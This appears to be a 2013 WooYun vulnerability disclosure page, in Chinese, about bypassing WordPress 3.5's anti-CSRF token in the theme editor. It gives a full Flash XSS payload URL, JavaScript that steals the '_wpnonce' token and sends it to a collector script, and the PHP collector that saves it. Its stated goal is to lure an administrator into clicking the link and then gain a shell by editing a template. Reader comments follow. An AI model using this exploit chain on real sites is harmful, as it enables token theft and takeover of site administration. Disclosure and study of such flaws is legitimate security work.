wordpress anti-csrf token bypass | wooyun-2013-022550| WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-022550

漏洞标题：wordpress anti-csrf token bypass

漏洞作者：小贱人

提交时间：2013-04-26 11:40

修复时间：2013-06-10 11:41

公开时间：2013-06-10 11:41

漏洞类型：CSRF

危害等级：中

自评Rank：5

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2013-04-26：积极联系厂商并且等待厂商认领中，细节不对外公开
2013-06-10：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

wordpress 后台修改模版 anti-csrf token可以bypass。真的可以结合社工拿shell了。童叟无欺。影响版本 3.5及一下版本，3.5.1则不存在这个漏洞。

详细说明：

wordpress 3.5及一下版本有个FLASH XSS.详情见 WooYun: Flash应用安全系列[3]--WordPress反射型跨站(0day)
想骗取管理员点击你的链接 CSRF 添加个SHELL，可以是有个anti-csrf token.
但可以用这个XSS盗取anti-csrf token.进而顺利CSRF，拿shell。
假设我们要盗取的是修改404模版的token.
结合社工在评论下面添加下面的链接
http://localhost/wp/wp-includes/js/plupload/plupload.flash.swf?id=0\%22%29%29}catch%28e%29{if%28!window.x%29{window.x=1;document.write('<script src=http://localhost/1.js></script>');}}//
1.js 内容为

x=window.open('http://localhost/wp/wp-admin/theme-editor.php?file=404.php&theme=twentytwelve');
setTimeout("fuck(x)",5000);
function fuck(x) {
var a=x.document.getElementById('_wpnonce').value;
alert(a);
location.href='http://localhost/cookie.php?c='+a;
}

本地cookie.php内容为

<?php
fputs(fopen("cookie.txt","w"),$_GET[c]);
?>

管理员点击后。。。即可在COOKIE.TXT中看到你想要的，你值得拥有

说下这个TOKEN是一直不会变的除非重新安装WP。
O了你们懂的

漏洞证明：

见详细说明

修复方案：

升级啊亲

版权声明：转载请注明来源小贱人@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

2013-04-26 15:44 | p.z ( 普通白帽子 | Rank:411 漏洞数:40 )

这回别骗我了
2013-04-26 16:39 | Sogili ( 普通白帽子 | Rank:129 漏洞数:27 )

@xsser 求证
2013-04-26 16:40 | xsser ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

@p.z 用你的跨站搞的
2013-04-26 16:57 | 小贱人 ( 路人 | Rank:4 漏洞数:3 | 资深菜鸟，)

对了感谢p.z的跨站分享
2013-04-28 16:54 | 空城 ( 实习白帽子 | Rank:94 漏洞数:11 | 这个人很懒，什么也没有留下)

@小贱人求详情
2013-04-28 19:40 | 小贱人 ( 路人 | Rank:4 漏洞数:3 | 资深菜鸟，)

首先有个XSS 用XSS得到表单TOKEN。。。这个你应该想下就明白了
2013-04-28 20:03 | 陌路 ( 路人 | Rank:8 漏洞数:4 | 安全爱好者！)

社工加XSS?拿SHELL
2013-04-29 10:29 | Sogili ( 普通白帽子 | Rank:129 漏洞数:27 )

- - 这个也算吗
2013-06-10 11:46 | nyannyannyan ( 路人 | Rank:10 漏洞数:3 | 蒟蒻一枚)

这不算anticsrf bypass吧

WooYun.org

漏洞概要 关注数(24) 关注此漏洞